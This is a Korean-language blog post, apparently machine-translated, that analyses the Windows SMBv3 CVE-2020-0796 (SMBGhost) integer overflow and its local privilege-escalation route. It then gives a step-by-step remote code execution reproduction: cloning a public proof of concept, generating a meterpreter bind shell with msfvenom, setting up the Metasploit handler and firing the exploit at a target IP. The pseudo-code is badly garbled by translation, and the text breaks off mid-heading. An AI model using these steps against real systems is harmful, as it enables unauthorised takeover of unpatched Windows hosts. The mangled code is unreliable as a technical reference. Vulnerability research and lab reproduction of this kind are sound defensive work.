제목 : Windows SMBV3 CVE-2020-0796 취약성 분석 및 취약성 재발

0x00 漏洞描述​

취약성 발표에 따르면 SMB 3.1.1 프로토콜에서 압축 메시지를 처리 할 때 데이터가 보안 확인되지 않았습니다. 직접 사용하면 메모리 손상 취약점이 발생하여 공격자가 원격으로 실행할 수 있습니다. 공격자는이 취약점을 사용하여 허가없이 원격 코드 실행을 달성 할 수 있습니다. 해커가 공격 한 대상 시스템은 온라인으로 컴퓨터를 켜면 해킹 될 수 있습니다.

0x01 漏洞响应版本​

Windows 10 1903 버전 (X32 기반 시스템 용)
Windows 10 버전 1903 (x64 기반 시스템 용)
Windows 10 버전 1903 (ARM64 기반 시스템 용)
Windows Server 1903 버전 (서버 코어 설치)
Windows 10 버전 1909 (X32 기반 시스템 용)
Windows 10 버전 1909 (x64 기반 시스템 용)
Windows 10 버전 1909 (ARM64 기반 시스템 용)
Windows Server 버전 1909 (서버 코어 설치)

0x02 漏洞分析​

취약성 발표에 따르면 SMB 3.1.1 프로토콜에서 압축 메시지를 처리 할 때 데이터가 보안 확인되지 않았습니다. 직접 사용하면 메모리 손상 취약점이 발생하여 공격자가 원격으로 실행할 수 있습니다. 공격자는이 취약점을 사용하여 허가없이 원격 코드 실행을 달성 할 수 있습니다. 해커가 공격 한 대상 시스템은 온라인으로 컴퓨터를 켜면 해킹 될 수 있습니다.

1.根本原因​

취약점은 srv2.sys에서 발생합니다. SMB는 압축 패킷을 올바르게 처리하지 않으므로 패킷을 압축 해제 할 때 길이가 합법적인지 확인하지 않습니다. 결국 정수 오버플로가 발생합니다.

2.初步分析​

이 오류는 srv22.sys smb 서버 드라이버의 srv2decompressdata 함수의 정수 오버플로 오류입니다. 이 기능의 단순화 된 버전으로 관련없는 세부 사항을 생략합니다.
typedef struct _compression_transform_header
{
ulong 프로토콜 리드;
ulong OriginalCompressedSegmentsize;
Ushort compressionAlgorithm;
Ushort 플래그;
ulong 오프셋;
} compression_transform_header, *pcompression_transform_header;
typedef struct _allocation_header
{
//.
Pvoid userbuffer;
//.
} allocation_header, *pallocation_header;
ntstatus srv2decompressdata (pcompression_transform_header 헤더, size_t totalsize)
{
pallocation_header alloc=srvnetallocatebuffer (
(ULONG) (Header-Original CompressedSegmentsize + 헤더 오프셋),
null);
if (! alloc) {
reture status_insolficiTed_resources;
}
ulong finalcompressedsize=0;
ntstatus 상태=smbcompressiondecompress (
헤더-복합체,
(PUCHAR) 헤더 + 크기 (compression_transform_header) + 헤더 오프셋,
(ulong) (총체 - 크기 (compression_transform_header) - 헤더 오프셋),
(PUCHAR) Alloc-UserBuffer + 헤더 오프셋,
Header-OriginalCompressedSegmentsize,
FinalCompressedSize);
if (상태 0 || FinalCompressedSize!=Header-OriginalCompressedSegmentsize) {
srvnetfreebuffer (Alloc);
reture status_bad_data;
}
if (헤더 오프셋 0) {
memcpy (
Alloc-userbuffer,
(puch) 헤더 + 크기 (compression_transform_header),
헤더 오프셋);
}
srv2replacereceiveBuffer (some_session_handle, alloc);
reture status_success;
}
srv2decompressdata 함수는 클라이언트가 보낸 압축 메시지를 수신하고 필요한 메모리를 할당하며 데이터를 압축합니다. 그런 다음 오프셋 필드가 0이 아닌 경우 압축 된 데이터 앞에 배치 된 데이터를 할당 된 버퍼의 시작에 복사합니다.
xfm3gusfkgg16277.png

자세히 살펴보면 20과 31 행이 일부 입력에 대한 정수 오버플로를 유발할 수 있음을 알게됩니다. 예를 들어, 버그가 해제 된 직후에 나타나는 대부분의 POC는 시스템이0xffffff 값을 오프셋 필드로 사용하게합니다. 이 값을 사용하면0xffffff는 20 행에 정수 오버플로를 트리거하므로 바이트가 적습니다.
나중에, 31 행에 여분의 정수 오버플로가 트리거됩니다. 충돌은 수신 된 메시지가 수신되는 주소에서 30 줄에서 계산 된 메모리 액세스로 인해 발생합니다. 코드가 31 행의 계산을 확인하면 버퍼 길이가 음수이고 표현 될 수 없기 때문에 매우 일찍 종료됩니다.
ssjjdjk1exf16278.png

3.选择溢出内容​

정수 오버플로를 유발하기 위해 제어 할 수있는 2 개의 관련 필드 만 있습니다 : OriginalCompressedSegmentsize 및 Offset은 많지 않으므로 옵션이 많지 않습니다. 몇 가지 조합을 시도한 후 다음 조합이 우리를 끌어 들였습니다. 합법적 인 오프셋 값과 거대한 원래 압축 세그먼트 크기 값을 보면 어떻게 될까요? 코드가 수행 할 세 단계를 검토합시다.
과제 : 정수 오버플로로 인해 할당 된 바이트의 수는 두 필드의 합보다 적습니다.
감압 : 감압은 대상 버퍼를 무한한 크기로 처리하는 매우 큰 원래 컴프레드 세그먼트 값을받습니다. 다른 모든 매개 변수는 영향을받지 않으므로 예상대로 수행됩니다.
복사 : 실행하려면 사본이 예상대로 수행됩니다.
—— 단계를 수행할지 여부는 "할당"단계에 필요한 것보다 적은 바이트를 할당 할 수 있었기 때문에 감압 단계에서 바운드 외부 쓰기를 트리거 할 수 있는지 여부는 흥미로워 보입니다.
di0bvzvupt216279.png

보시다시피,이 기술을 사용하면 모든 크기와 컨텐츠의 오버 플로우를 트리거 할 수 있습니다. 그러나 버퍼 외부에 위치한 것은 무엇입니까? 답을 찾아 보자!

4.深入分析SrvNetAllocateBuffer​

이 질문에 답하려면 할당 함수를 살펴 봐야합니다. 기능의 흥미로운 부분은 다음과 같습니다.
pallocation_header srvnetallocationbuffer (size_t allocsize, pallocation_header sourcebuffer)
{
//.
if (srvdisablenetbufferlookasidelist || allocsize0x100100) {
if (allocsize0x1000100) {
널 리턴;
}
결과=srvnetAllocateBufferForMpool (allocsize, allocsize);
} 또 다른 {
int lookasidelistindex=0;
if (allocsize0x1100) {
LookAsidElistIndex=/* AllocSize * /;
}
some_struct list=srvnetbufferlookasides [lookasidelistindex];
결과=/* List * /;
}
//일부 결과 필드 초기화 .
반환 결과;
}
할당 함수가 필요한 수의 바이트에 따라 다른 작업을 수행한다는 것을 알 수 있습니다. 대규모 할당 (약 16MB 이상)은 실행 실패를 유발할 수 있습니다. 중간 할당 (약 1MB 이상)은 SRVNetAllocateBufferFfOlOUL 기능을 사용하여 할당됩니다. 작은 할당 (나머지)은 룩 라이드 목록을 사용하여 최적화됩니다.
참고 : 기능의 기능에 영향을 미치는 SrvDisablenetBufferLookasIdelist 플래그도 있지만 문서화되지 않은 레지스트리 설정에 의해 설정되어 기본적으로 비활성화되므로별로 흥미롭지 않습니다.
Lookaside 목록은 드라이버를위한 재사용 가능한 고정 크기 버퍼 세트를 효과적으로 유지하는 데 사용됩니다. Lookaside 목록의 기능 중 하나는 버퍼 관리를위한 사용자 정의 할당/릴리스 기능을 정의하는 것입니다. srvnetbufferlookasides 어레이에 대한 참조를 살펴보면 SRVNetCreateBufferLookasides 기능에서 초기화 된 것으로 나타났습니다.
사용자 정의 할당 함수는 srvnetbnetbufferlookasideallocate로 정의되며 srvnetallocatebufferffool 만 호출합니다.
9 개의 룩시 라이드 목록은 다음 크기로 생성되며 파이썬을 사용하여 신속하게 계산합니다.
[hex (1 (1 (i + 12)) + 256) 범위 (9)]]
[ '0x1100', '0x2100', '0x4100', '0x8100', '0x10100', '0x20100', '0x40100', '0x80100', '0x100100']]]
이것은0x100100 바이트보다 큰 할당을 할당 할 때 룩 라이드 목록이 사용되지 않는다는 우리의 발견과 일치합니다.
결론은 각 할당 요청이 srvnetAllocateBufferFfOl 기능에서 끝나는 것입니다. 따라서 분석하겠습니다.

6.SrvNetAllocateBufferFromPool和分配的缓冲区布局​

SRVNetAllocateBufferForMpool 함수는 ExAllocatePoolwithTag 기능을 사용하여 비 페이스 풀 풋 풀에 버퍼를 할당 한 다음 일부 구조를 데이터로 채 웁니다. 할당 된 버퍼 레이아웃은 다음과 같습니다.
qxeg2ggkcqs16280.png

연구 범위 내 에서이 레이아웃의 유일한 관련 부분은 사용자 버퍼와 할당 헤더 구조입니다. 사용자 버퍼를 넘어서서 결국 Allocation_header 구조를 덮어 쓸 것임을 즉시 알 수 있습니다. 편리해 보입니다.

7.重写分配头结构​

이 시점에서 첫 번째 아이디어는 SMBCompressionDecompress의 호출 후 확인하는 것입니다.
if (상태 0 || FinalCompressedSize!=Header-OriginalCompressedSegmentsize) {
srvnetfreebuffer (Alloc);
reture status_bad_data;
}
SRVNetFreeBuffer가 호출되고 OriginalCompressedSegmentsize를 많은 수로 설계하고 FinalCompressedSize는 실제 압축 압축 바이트 수를 나타내는 더 적은 수가됩니다. 따라서, 우리는 srvnetfreebuffer 함수를 분석하고, 매직 번호의 할당 된 포인터를 성공적으로 교체 한 다음, 자유 함수가 나중에 자유롭게 무료 또는 유사한 목적으로 그것을 사용하기 위해 그것을 제거하기 위해 기다릴 때까지 기다립니다. 그러나 놀랍게도 Memcpy 기능이 추락했습니다. 이것은 우리가 아무것도 생각하지 않기 때문에 우리를 행복하게 만듭니다. 그러나 우리는 왜 이런 일이 일어나는지 확인해야합니다. 설명은 SMBCompressionDecompress 기능의 구현에서 찾을 수 있습니다.
ntstatus smbcompressiondecompress (
Ushort compressionAlgorithm,
PuCHAR inmpressedbuffer,
Ulong uncressedbuffersize,
PuCHAR COMPRESEDBUFFER,
ulong compressedbuffersize,
pulong finalcompressedsize)
{
//.
ntstatus status=rtldecompressbufferex2 (
.
FinalUncompressedSize,
.);
if (status=0) {
* FinalCompressedSize=CompressedBuffersize;
}
//.
반환 상태;
}
기본적으로 감압이 성공하면 FinalCompressedSize가 버퍼의 크기 인 CompressedBuffersize의 값을 절약하기 위해 업데이트됩니다. 최종 통신 크기의 반환 값에 대한이 의도적 인 업데이트는 우리에게 매우 의심스러워 보입니다.이 작은 세부 사항과 할당 된 버퍼 레이아웃과 결합 되어이 버그를 매우 편리하게 이용할 수 있기 때문입니다.
실행은 원래 데이터를 복사하는 단계까지 계속되므로 통화를 다시 확인해 봅시다.
memcpy (
Alloc- Userbuffer,
(puchar) Title+ Sizeof (compression_transform_header),
헤더 오프셋);
Allocation_header 구조에서 대상 주소를 읽으십시오. 버퍼의 내용과 크기도 우리에 의해 제어됩니다.

8.本地权限提升​

이제 우리는 그것을 개발해야 할 곳을 작성 했으므로 무엇을 할 수 있습니까? 우리가 시스템을 충돌시킬 수 있다는 것은 분명합니다. 원격 코드 실행을 트리거 할 수는 있지만 그렇게 할 방법을 찾지 못했습니다. 이 취약점을 LocalHost에서 사용하고 추가 정보를 누출하면 여러 기술에 의해 입증되었으므로 지역 권한 상승에 사용할 수 있습니다.
우리가 시도한 첫 번째 기술은 Morten Schenk가 그의 《Black Hat USA 2017》 연설에서 제안했습니다. 이 기술에는 Win32의 .Data 섹션에서 기능 포인터 데이터베이스 시스템 드라이버를 다시 작성한 다음 사용자 모드에서 해당 기능을 호출하여 코드 실행을 얻는 것이 포함됩니다. J00RU는 WCTF 2018 에서이 기술을 사용하는 것에 대한 훌륭한 기사를 작성했으며 그의 취약점 소스 코드를 제공했습니다. 우리는 취약점이 무엇인지 쓰기를 조정했지만 SMB 메시지를 처리하는 스레드가 GUI 스레드가 아니기 때문에 작동하지 않는다는 것을 발견했습니다. 따라서 Win32 데이터베이스 시스템에는 매핑이 없으며 기술은 관련이 없습니다 (우리가 연구하지 않은 GUI 스레드를 만들 수있는 방법이 없다면).
우리는 Cesarcer가 도입 한 유명한 기술을 사용하여 2012 년 Black Hat Demo에서 Aeasy Native Windows 커널 개발을 사용했습니다. 이 기술은 NTQuerySystemInformation (SystemHandleInformation) API를 사용하여 현재 프로세스 토큰 주소를 누출 한 다음 해당 주소를 다시 작성하고 현재 프로세스 토큰 권한을 허가하는 데 사용할 수있는 현재 프로세스 토큰 권한을 부여하는 것입니다. Bryan Alexander (Dronesec)와 Stephen Breen (Breenmachine) (2017)은 EOP 연구에서 대리 권한을 남용하여 다양한 토큰 특권을 사용하여 특권을 높이는 몇 가지 방법을 보여줍니다.
우리는 Alexandre Beaulieu의 공유 코드를 기반으로 임의의 쓰기 작업을 활용하여 권한 쓰기를 에스컬레이션 할 때 공격했습니다. 프로세스의 토큰 권한을 수정 한 후 DLL을 Winlogon.exe에 주입합니다. DLL의 전체 목적은 명령 프롬프트를 시작하는 것입니다. 우리의 전체 지역 특권 에스컬레이션 증거는 여기에서 찾을 수 있으며 연구/방어 목적으로 만 사용될 수 있습니다.

0x03 CVE-2020-0796 RCE漏洞复现​

1. 환경 준비
공격 항공기 : KAL2019 IP:192.168.1.101
대상 대상 기계 : Windows10 1903 X64 (전문 버전, 엔터프라이즈 버전도 가능) IP:192.168.1.103
대상 기계의 주소 다운로드 :
ED2K: //| 파일 | CN_WINDOWS_10_BUSINESS_EDITIONS_VERSION_1903_X64_DVD_E001DD2C.ISO | 4815527936 | 47D4C57E638DF8BF74C59261E2612CE702D |/
2. 환경 요구 사항 :
(1). POC는 안정적이지 않으며 여러 테스트가 필요하며 (청취 포트 또는 네트워크 문제에 의해 점유된다고 생각), 블루 스크린 현상이있을 수 있습니다.
(2). POC가 실패하면 대상 시스템이 시스템에 포함 된 기본값을 활성화하고 인터셉트했을 수 있습니다.
(3). 테스트 중에 방화벽을 끄고 소프트를 죽이려면 445 포트를 열어 두는 것이 가장 좋습니다.
3. 재생산 단계
(1)
root@kali2019:/opt# git 클론 https://github.com/chompie1337/smbghost_rce_poc.git
jemxbcezlsq16281.png

(2). POC 디렉토리로 전환하십시오
root@kali2019:/opt# cd smbghost_rce_poc/
3ptsxlh2ff016282.png

(3). 이 POC는 Python3 환경에서 실행되어야합니다
azyd1sx1sw016283.png

(4). 대상 시스템의 IP 주소와 시스템 버전을 볼 수 있습니다.
3i1f4dh40yc16284.png
4cghuq5rcng16285.png

(5). Kali에서 리바운드 쉘 코드의 파이썬 버전을 생성하십시오
root@kali2019: ~# msfvenom -p windows/x64/meterpreter/bind_tcp lport=2333 -f py -o exp.py
lisff3qr21416286.png

(6). 생성 된 쉘 코드를 볼 수 있습니다
root@kali2019: ~# cat exp.py
b5kbsrmdfbp16287.png

(7). 생성 된 exp.py 코드의 모든 변수 BUF를 변수 user_payload로 바꾸고 다음 코드를 덮어 쓰는 모든 코드를 붙여 넣습니다.
kovqdnmdokj16288.png

(8). Kali에서 MSF를 시작하여 다음과 같이 설정하십시오
MSF5는 Exploit/Multi/Handler를 사용합니다
MSF5 Exploit (Multi/Handler) Set Payload Windows/X64/MeterPreter/Bind_TCP #SET 리바운드 모드
MSF5 Exploit (Multi/Handler) SET RHOST 192.168.1.103 #대상 기기의 IP 주소 설정
MSF5 Exploit (Multi/Handler) SET LPORT 2333 #청취 포트를 설정합니다
MSF5 익스플로잇 (멀티/핸들러) 익스플로잇
sxkz0okl12316289.png

(9). POC를 사용하여 실행하면 실행이 성공적임을 알 수 있습니다. 키를 누르면 키를 입력하는 것이 가장 좋습니다.
python3 exploit.py -ip 192.168.1.103
qtnl0i1aw5t16290.png

(10). MSF에서는 대상 기계의 대상 기계에서 성공적으로 튀어 오르는 쉘을 볼 수 있음을 알 수 있습니다.
ucqkqk1noqb16291.png
0x04 CVE-2
 
뒤로
상단